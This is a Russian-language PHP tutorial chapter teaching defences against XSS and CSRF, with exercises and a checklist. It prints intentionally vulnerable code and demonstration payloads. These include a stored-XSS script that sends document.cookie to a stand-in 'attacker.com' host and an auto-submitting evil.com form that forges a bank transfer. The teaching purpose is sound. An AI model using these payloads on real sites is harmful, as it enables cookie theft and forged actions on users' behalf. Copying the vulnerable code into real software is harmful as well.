Глава 6.2: XSS и CSRF — межсайтовый скриптинг, подделка запросов, токены защиты
📖 Введение
В предыдущей главе мы разобрались с SQL-инъекциями — атаками на базу данных. Сейчас мы изучим две другие критически важные уязвимости веб-приложений:
- XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript-кода
- CSRF (Cross-Site Request Forgery) — подделка запросов от имени пользователя
Эти атаки находятся в топ-10 OWASP (международная организация по безопасности веб-приложений) и встречаются в реальных проектах постоянно.
🎯 XSS (Cross-Site Scripting)
Что это и как работает
XSS — это внедрение вредоносного JavaScript-кода на страницу, который будет выполнен в браузере других пользователей.
Простой пример уязвимого кода:
<?php
// Страница профиля пользователя
$username = $_GET['name'] ?? 'Guest';
?>
<!DOCTYPE html>
<html>
<head>
<title>Профиль</title>
</head>
<body>
<h1>Привет, <?php echo $username; ?>!</h1>
</body>
</html>Атака:
http://example.com/profile.php?name=<script>alert('XSS!')</script>В браузере выполнится:
<h1>Привет, <script>alert('XSS!')</script>!</h1>Типы XSS-атак
1. Reflected XSS (Отражённый XSS)
Вредоносный код передаётся через URL или форму и сразу отображается на странице.
<?php
// Поиск по сайту
$query = $_GET['search'] ?? '';
?>
<h2>Результаты поиска: <?php echo $query; ?></h2>Атака:
/search.php?search=<img src=x onerror="alert(document.cookie)">2. Stored XSS (Хранимый XSS)
Самый опасный тип — вредоносный код сохраняется в базе данных и показывается всем пользователям.
<?php
// Комментарии (УЯЗВИМЫЙ КОД!)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$comment = $_POST['comment'];
$pdo->exec("INSERT INTO comments (text) VALUES ('$comment')");
}
// Отображение комментариев
$comments = $pdo->query("SELECT * FROM comments")->fetchAll();
foreach ($comments as $comment) {
echo "<p>" . $comment['text'] . "</p>";
}
?>Атака: Пользователь отправляет комментарий:
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>Теперь у всех, кто откроет страницу, украдут cookies!
3. DOM-based XSS
Атака через JavaScript, без участия сервера:
// Уязвимый код
let hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;Атака:
http://example.com/#<img src=x onerror="alert('XSS')">Как защититься от XSS
✅ Метод 1: htmlspecialchars() — основная защита
<?php
$username = $_GET['name'] ?? 'Guest';
// ПРАВИЛЬНО: экранируем вывод
echo htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
?>Что делает htmlspecialchars():
< → <
> → >
" → "
' → '
& → &Пример:
<?php
$input = "<script>alert('XSS')</script>";
// Без защиты (ОПАСНО!)
echo $input; // <script>alert('XSS')</script> — код выполнится
// С защитой
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// <script>alert('XSS')</script> — отобразится как текст
?>✅ Метод 2: Функция-обёртка для удобства
<?php
function e($string) {
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}
// Использование
$username = $_GET['name'] ?? 'Guest';
?>
<h1>Привет, <?php echo e($username); ?>!</h1>✅ Метод 3: Content Security Policy (CSP)
Заголовок HTTP, запрещающий выполнение инлайн-скриптов:
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com");
?>Теперь любой <script> внутри HTML не выполнится!
✅ Метод 4: Валидация и санитизация входных данных
<?php
function sanitizeInput($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
return $data;
}
$username = sanitizeInput($_POST['username'] ?? '');
?>Защита при работе с разными контекстами
В HTML-контексте
<div><?php echo e($userContent); ?></div>В атрибутах HTML
<input type="text" value="<?php echo e($value); ?>">
<a href="<?php echo e($url); ?>">Link</a>В JavaScript (сложнее!)
<script>
let username = <?php echo json_encode($username, JSON_HEX_TAG | JSON_HEX_AMP); ?>;
console.log(username);
</script>Почему json_encode() с флагами:
<?php
$username = "</script><script>alert('XSS')</script>";
// ОПАСНО!
echo "let name = '$username';";
// Создаёт: let name = '</script><script>alert('XSS')</script>';
// ПРАВИЛЬНО
echo "let name = " . json_encode($username, JSON_HEX_TAG | JSON_HEX_AMP) . ";";
// Создаёт: let name = "\u003C\/script\u003E\u003Cscript\u003Ealert('XSS')\u003C\/script\u003E";
?>🎯 CSRF (Cross-Site Request Forgery)
Что это и как работает
CSRF — атака, при которой злоумышленник заставляет пользователя выполнить нежелательное действие на сайте, где он авторизован.
Сценарий атаки:
- Вы авторизованы на
bank.com - Открываете письмо со ссылкой на
evil.com - На
evil.comесть скрытая форма:
<!-- На сайте evil.com -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="1000000">
</form>
<script>
document.getElementById('csrf').submit();
</script>- Ваш браузер отправляет POST-запрос на
bank.comс вашими cookies - Банк думает, что это вы, и переводит деньги
Уязвимый код
<?php
// delete_account.php (УЯЗВИМЫЙ КОД!)
session_start();
if (!isset($_SESSION['user_id'])) {
die('Unauthorized');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$userId = $_SESSION['user_id'];
// Удаляем аккаунт без проверки!
$pdo->prepare("DELETE FROM users WHERE id = ?")
->execute([$userId]);
echo "Аккаунт удалён";
}
?>Атака:
<!-- На сайте attacker.com -->
<form action="https://yoursite.com/delete_account.php" method="POST">
<input type="submit" value="Посмотреть смешные картинки!">
</form>Защита от CSRF: CSRF-токены
Как работают CSRF-токены
- Генерируем случайный токен и сохраняем в сессии
- Добавляем токен в форму как скрытое поле
- При отправке проверяем, совпадает ли токен из формы с токеном в сессии
- Злоумышленник не может узнать токен (same-origin policy)
Реализация CSRF-защиты
<?php
// csrf.php — функции для работы с токенами
session_start();
/**
* Генерирует CSRF-токен
*/
function generateCsrfToken() {
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
/**
* Проверяет CSRF-токен
*/
function verifyCsrfToken($token) {
if (!isset($_SESSION['csrf_token'])) {
return false;
}
return hash_equals($_SESSION['csrf_token'], $token);
}
/**
* Генерирует HTML поле с токеном
*/
function csrfField() {
$token = generateCsrfToken();
return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token) . '">';
}
?>Почему hash_equals() вместо ===?
hash_equals() защищает от timing attacks — атак, основанных на измерении времени выполнения сравнения.
Использование в формах
<?php
// delete_account.php (ЗАЩИЩЁННЫЙ КОД)
require_once 'csrf.php';
if (!isset($_SESSION['user_id'])) {
die('Unauthorized');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Проверяем CSRF-токен
if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) {
die('CSRF token validation failed');
}
$userId = $_SESSION['user_id'];
$pdo->prepare("DELETE FROM users WHERE id = ?")
->execute([$userId]);
echo "Аккаунт удалён";
}
?>
<!-- Форма -->
<form method="POST">
<?php echo csrfField(); ?>
<button type="submit">Удалить аккаунт</button>
</form>CSRF для AJAX-запросов
<?php
// api.php
require_once 'csrf.php';
header('Content-Type: application/json');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$headers = getallheaders();
$token = $headers['X-CSRF-Token'] ?? '';
if (!verifyCsrfToken($token)) {
http_response_code(403);
echo json_encode(['error' => 'Invalid CSRF token']);
exit;
}
// Обработка запроса
echo json_encode(['success' => true]);
}
?>// JavaScript
fetch('/api.php', {
method: 'POST',
headers: {
'X-CSRF-Token': '<?php echo generateCsrfToken(); ?>',
'Content-Type': 'application/json'
},
body: JSON.stringify({ action: 'delete' })
})
.then(response => response.json())
.then(data => console.log(data));Дополнительные методы защиты от CSRF
1. SameSite Cookie Attribute
<?php
session_start([
'cookie_samesite' => 'Strict', // или 'Lax'
'cookie_secure' => true, // только HTTPS
'cookie_httponly' => true // недоступно для JavaScript
]);
?>Значения SameSite:
Strict— cookie не отправляется при переходе с других сайтовLax— cookie отправляется при GET-переходах (безопасных методах)None— cookie отправляется всегда (требует Secure)
2. Проверка Referer
<?php
function checkReferer() {
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$host = $_SERVER['HTTP_HOST'];
if (strpos($referer, $host) === false) {
return false;
}
return true;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!checkReferer()) {
die('Invalid request origin');
}
// Обработка...
}
?>⚠️ Внимание: Referer можно подделать, это дополнительная, а не основная защита!
3. Double Submit Cookie
<?php
// Устанавливаем токен в cookie и в форму
$token = bin2hex(random_bytes(32));
setcookie('csrf_token', $token, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
?>
<form method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $token; ?>">
<button type="submit">Отправить</button>
</form>
<?php
// Проверка
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$cookieToken = $_COOKIE['csrf_token'] ?? '';
$formToken = $_POST['csrf_token'] ?? '';
if (!hash_equals($cookieToken, $formToken)) {
die('CSRF validation failed');
}
// Обработка...
}
?>🛠️ Практический пример: Защищённая форма комментариев
<?php
// comments.php — безопасная система комментариев
require_once 'db.php';
require_once 'csrf.php';
session_start();
// Функция для безопасного вывода
function e($string) {
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}
// Обработка отправки комментария
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// CSRF-защита
if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) {
die('CSRF token validation failed');
}
// Проверка авторизации
if (!isset($_SESSION['user_id'])) {
die('Unauthorized');
}
$comment = trim($_POST['comment'] ?? '');
// Валидация
if (empty($comment)) {
$error = 'Комментарий не может быть пустым';
} elseif (mb_strlen($comment) > 1000) {
$error = 'Комментарий слишком длинный';
} else {
// XSS-защита: сохраняем как есть, экранируем при выводе
$stmt = $pdo->prepare("
INSERT INTO comments (user_id, text, created_at)
VALUES (?, ?, NOW())
");
$stmt->execute([
$_SESSION['user_id'],
$comment
]);
$success = 'Комментарий добавлен';
// Очищаем поле (Post-Redirect-Get паттерн лучше)
header('Location: comments.php');
exit;
}
}
// Получение комментариев
$stmt = $pdo->query("
SELECT c.*, u.username
FROM comments c
JOIN users u ON c.user_id = u.id
ORDER BY c.created_at DESC
LIMIT 50
");
$comments = $stmt->fetchAll();
?>
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Комментарии</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 50px auto;
padding: 20px;
}
.comment {
border: 1px solid #ddd;
padding: 15px;
margin-bottom: 15px;
border-radius: 5px;
}
.comment-author {
font-weight: bold;
color: #333;
}
.comment-text {
margin-top: 10px;
color: #555;
}
.comment-date {
font-size: 12px;
color: #999;
margin-top: 5px;
}
textarea {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
}
button {
background: #007bff;
color: white;
padding: 10px 20px;
border: none;
border-radius: 5px;
cursor: pointer;
}
.error {
color: red;
margin-bottom: 10px;
}
.success {
color: green;
margin-bottom: 10px;
}
</style>
</head>
<body>
<h1>Комментарии</h1>
<?php if (isset($error)): ?>
<div class="error"><?php echo e($error); ?></div>
<?php endif; ?>
<?php if (isset($success)): ?>
<div class="success"><?php echo e($success); ?></div>
<?php endif; ?>
<?php if (isset($_SESSION['user_id'])): ?>
<form method="POST">
<?php echo csrfField(); ?>
<textarea name="comment" rows="4" placeholder="Ваш комментарий..."></textarea>
<button type="submit">Отправить</button>
</form>
<?php else: ?>
<p>Для добавления комментариев необходимо <a href="login.php">войти</a>.</p>
<?php endif; ?>
<h2>Последние комментарии</h2>
<?php foreach ($comments as $comment): ?>
<div class="comment">
<div class="comment-author">
<?php echo e($comment['username']); ?>
</div>
<div class="comment-text">
<?php echo nl2br(e($comment['text'])); ?>
</div>
<div class="comment-date">
<?php echo e($comment['created_at']); ?>
</div>
</div>
<?php endforeach; ?>
<?php if (empty($comments)): ?>
<p>Комментариев пока нет.</p>
<?php endif; ?>
</body>
</html>📋 Чеклист безопасности
✅ Для защиты от XSS:
- [ ] Всегда используйте
htmlspecialchars()при выводе пользовательских данных - [ ] Используйте
ENT_QUOTESи указывайте кодировкуUTF-8 - [ ] Для JSON используйте
json_encode()с флагамиJSON_HEX_TAG | JSON_HEX_AMP - [ ] Никогда не вставляйте пользовательские данные напрямую в
<script>или обработчики событий - [ ] Настройте Content Security Policy (CSP) headers
- [ ] Валидируйте входные данные (whitelist подход)
- [ ] Используйте
strip_tags()только как дополнение, не как основную защиту
✅ Для защиты от CSRF:
- [ ] Используйте CSRF-токены для всех изменяющих запросов (POST, PUT, DELETE)
- [ ] Проверяйте токены с помощью
hash_equals() - [ ] Устанавливайте
SameSiteатрибут для cookies - [ ] Используйте
HttpOnlyиSecureфлаги для session cookies - [ ] Для важных действий добавляйте подтверждение (повторный ввод пароля)
- [ ] Применяйте паттерн Post-Redirect-Get (PRG)
- [ ] Ограничивайте время жизни токенов
🎓 Упражнения
Упражнение 1: Найти уязвимости
Найдите все XSS-уязвимости в коде:
<?php
$search = $_GET['q'];
$username = $_SESSION['username'];
$bio = $_POST['bio'];
?>
<h1>Поиск: <?php echo $search; ?></h1>
<p>Пользователь: <?= $username ?></p>
<script>
let userBio = '<?php echo $bio; ?>';
document.getElementById('bio').innerHTML = userBio;
</script>Посмотреть решение
<?php
function e($s) {
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
$search = $_GET['q'] ?? '';
$username = $_SESSION['username'] ?? 'Guest';
$bio = $_POST['bio'] ?? '';
?>
<h1>Поиск: <?php echo e($search); ?></h1>
<p>Пользователь: <?php echo e($username); ?></p>
<script>
// Используем json_encode для безопасной передачи в JS
let userBio = <?php echo json_encode($bio, JSON_HEX_TAG | JSON_HEX_AMP); ?>;
// Используем textContent вместо innerHTML
document.getElementById('bio').textContent = userBio;
</script>Упражнение 2: Реализовать CSRF-защиту
Добавьте CSRF-защиту к форме смены пароля:
<?php
// change_password.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$oldPassword = $_POST['old_password'];
$newPassword = $_POST['new_password'];
// TODO: добавить CSRF-защиту
// Смена пароля...
}
?>
<form method="POST">
<input type="password" name="old_password" placeholder="Старый пароль">
<input type="password" name="new_password" placeholder="Новый пароль">
<button type="submit">Сменить пароль</button>
</form>Посмотреть решение
<?php
// change_password.php
require_once 'csrf.php';
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Проверяем CSRF-токен
if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) {
die('CSRF token validation failed');
}
$oldPassword = $_POST['old_password'] ?? '';
$newPassword = $_POST['new_password'] ?? '';
// Валидация
if (empty($oldPassword) || empty($newPassword)) {
$error = 'Все поля обязательны';
} elseif (strlen($newPassword) < 8) {
$error = 'Новый пароль должен быть минимум 8 символов';
} else {
// Проверка старого пароля и смена...
$success = 'Пароль успешно изменён';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Смена пароля</title>
</head>
<body>
<h1>Смена пароля</h1>
<?php if (isset($error)): ?>
<p style="color: red;"><?php echo htmlspecialchars($error); ?></p>
<?php endif; ?>
<?php if (isset($success)): ?>
<p style="color: green;"><?php echo htmlspecialchars($success); ?></p>
<?php endif; ?>
<form method="POST">
<?php echo csrfField(); ?>
<input type="password" name="old_password" placeholder="Старый пароль" required>
<input type="password" name="new_password" placeholder="Новый пароль" required>
<button type="submit">Сменить пароль</button>
</form>
</body>
</html>Упражнение 3: Защищённый поиск
Создайте страницу поиска с защитой от XSS:
<?php
// Требования:
// 1. Форма поиска с защитой от CSRF
// 2. Безопасный вывод результатов
// 3. Подсветка искомых слов без XSS
// 4. Пагинация результатов
?>Посмотреть решение
<?php
// search.php
require_once 'db.php';
require_once 'csrf.php';
session_start();
function e($s) {
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
// Безопасная подсветка текста
function highlightText($text, $query) {
if (empty($query)) {
return e($text);
}
$escapedText = e($text);
$escapedQuery = e($query);
// Экранируем спецсимволы регулярок
$pattern = preg_quote($escapedQuery, '/');
return preg_replace(
'/(' . $pattern . ')/iu',
'<mark>$1</mark>',
$escapedText
);
}
$query = trim($_GET['q'] ?? '');
$page = max(1, (int)($_GET['page'] ?? 1));
$perPage = 10;
$offset = ($page - 1) * $perPage;
$results = [];
$total = 0;
if (!empty($query) && mb_strlen($query) >= 3) {
// Подсчёт общего количества
$stmt = $pdo->prepare("
SELECT COUNT(*)
FROM articles
WHERE title LIKE ? OR content LIKE ?
");
$searchTerm = '%' . $query . '%';
$stmt->execute([$searchTerm, $searchTerm]);
$total = $stmt->fetchColumn();
// Получение результатов
$stmt = $pdo->prepare("
SELECT id, title, content, created_at
FROM articles
WHERE title LIKE ? OR content LIKE ?
ORDER BY created_at DESC
LIMIT ? OFFSET ?
");
$stmt->execute([$searchTerm, $searchTerm, $perPage, $offset]);
$results = $stmt->fetchAll();
}
$totalPages = ceil($total / $perPage);
?>
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>Поиск</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 50px auto;
padding: 20px;
}
.search-form {
margin-bottom: 30px;
}
.search-form input[type="text"] {
width: 70%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
}
.search-form button {
padding: 10px 20px;
background: #007bff;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
}
.result {
border: 1px solid #ddd;
padding: 15px;
margin-bottom: 15px;
border-radius: 5px;
}
.result h3 {
margin-top: 0;
}
mark {
background-color: yellow;
padding: 2px;
}
.pagination {
margin-top: 20px;
text-align: center;
}
.pagination a {
padding: 5px 10px;
margin: 0 5px;
border: 1px solid #ddd;
text-decoration: none;
color: #007bff;
}
.pagination a.active {
background: #007bff;
color: white;
}
</style>
</head>
<body>
<h1>Поиск по сайту</h1>
<form method="GET" class="search-form">
<?php echo csrfField(); ?>
<input
type="text"
name="q"
value="<?php echo e($query); ?>"
placeholder="Введите запрос (минимум 3 символа)..."
required
>
<button type="submit">Найти</button>
</form>
<?php if (!empty($query)): ?>
<p>Найдено результатов: <strong><?php echo $total; ?></strong></p>
<?php foreach ($results as $result): ?>
<div class="result">
<h3>
<a href="article.php?id=<?php echo $result['id']; ?>">
<?php echo highlightText($result['title'], $query); ?>
</a>
</h3>
<p>
<?php
$preview = mb_substr($result['content'], 0, 200);
echo highlightText($preview, $query);
?>...
</p>
<small><?php echo e($result['created_at']); ?></small>
</div>
<?php endforeach; ?>
<?php if ($totalPages > 1): ?>
<div class="pagination">
<?php for ($i = 1; $i <= $totalPages; $i++): ?>
<a
href="?q=<?php echo urlencode($query); ?>&page=<?php echo $i; ?>"
class="<?php echo $i === $page ? 'active' : ''; ?>"
>
<?php echo $i; ?>
</a>
<?php endfor; ?>
</div>
<?php endif; ?>
<?php if (empty($results)): ?>
<p>По вашему запросу ничего не найдено.</p>
<?php endif; ?>
<?php endif; ?>
</body>
</html>🚨 Частые ошибки
❌ Ошибка 1: Использование strip_tags() вместо htmlspecialchars()
// НЕПРАВИЛЬНО!
echo strip_tags($_GET['name']);
// Атака всё равно работает:
// name=<img src=x onerror=alert(1)> → img src=x onerror=alert(1)Правильно:
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');❌ Ошибка 2: Проверка CSRF только на важных страницах
// НЕПРАВИЛЬНО: защищать только смену пароля
if ($action === 'change_password') {
verifyCsrfToken();
}Правильно: защищать ВСЕ POST/PUT/DELETE запросы.
❌ Ошибка 3: Использование === вместо hash_equals()
// УЯЗВИМО к timing attacks
if ($_POST['csrf_token'] === $_SESSION['csrf_token'])
// ПРАВИЛЬНО
if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token']))❌ Ошибка 4: Доверие к Referer
// НЕПРАВИЛЬНО: Referer можно подделать
if ($_SERVER['HTTP_REFERER'] === 'https://mysite.com') {
// разрешаем действие
}❌ Ошибка 5: Хранение HTML в базе
// ПЛОХАЯ ПРАКТИКА
$html = $_POST['content']; // может содержать <script>
$pdo->exec("INSERT INTO posts (content) VALUES ('$html')");
// При выводе:
echo $row['content']; // XSS!Лучше: хранить чистый текст, экранировать при выводе.
📚 Резюме
XSS (Cross-Site Scripting)
Суть атаки: внедрение JavaScript-кода, который выполнится в браузере жертвы.
Типы:
- Reflected XSS — через URL/формы
- Stored XSS — сохранён в БД
- DOM-based XSS — через JavaScript
Защита:
// Всегда экранируем вывод
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Для JSON
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP);
// CSP header
header("Content-Security-Policy: default-src 'self'");CSRF (Cross-Site Request Forgery)
Суть атаки: заставить пользователя отправить запрос, используя его авторизацию.
Защита:
// Генерация токена
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// В форме
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
// Проверка
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die('CSRF validation failed');
}
// + SameSite cookies
session_set_cookie_params(['samesite' => 'Strict']);Золотое правило безопасности
Никогда не доверяй пользовательским данным. Всегда валидируй ввод и экранируй вывод.
🎯 Контрольные вопросы
- В чём разница между Reflected и Stored XSS?
- Почему
strip_tags()не защищает от XSS? - Что такое Content Security Policy и как она работает?
- Как работает CSRF-атака? Опишите сценарий.
- Почему нужно использовать
hash_equals()для сравнения токенов? - Что делает атрибут
SameSiteдля cookies? - Можно ли полагаться только на проверку Referer для CSRF-защиты?
- Как безопасно передать данные из PHP в JavaScript?
- Что такое Double Submit Cookie паттерн?
- Почему важно использовать
ENT_QUOTESвhtmlspecialchars()?
📖 Дополнительные материалы
- OWASP Top 10
- OWASP XSS Prevention Cheat Sheet
- OWASP CSRF Prevention Cheat Sheet
- Content Security Policy Reference
Следующая глава: Глава 6.3: Хеширование и пароли — password_hash, password_verify, почему MD5 — это плохо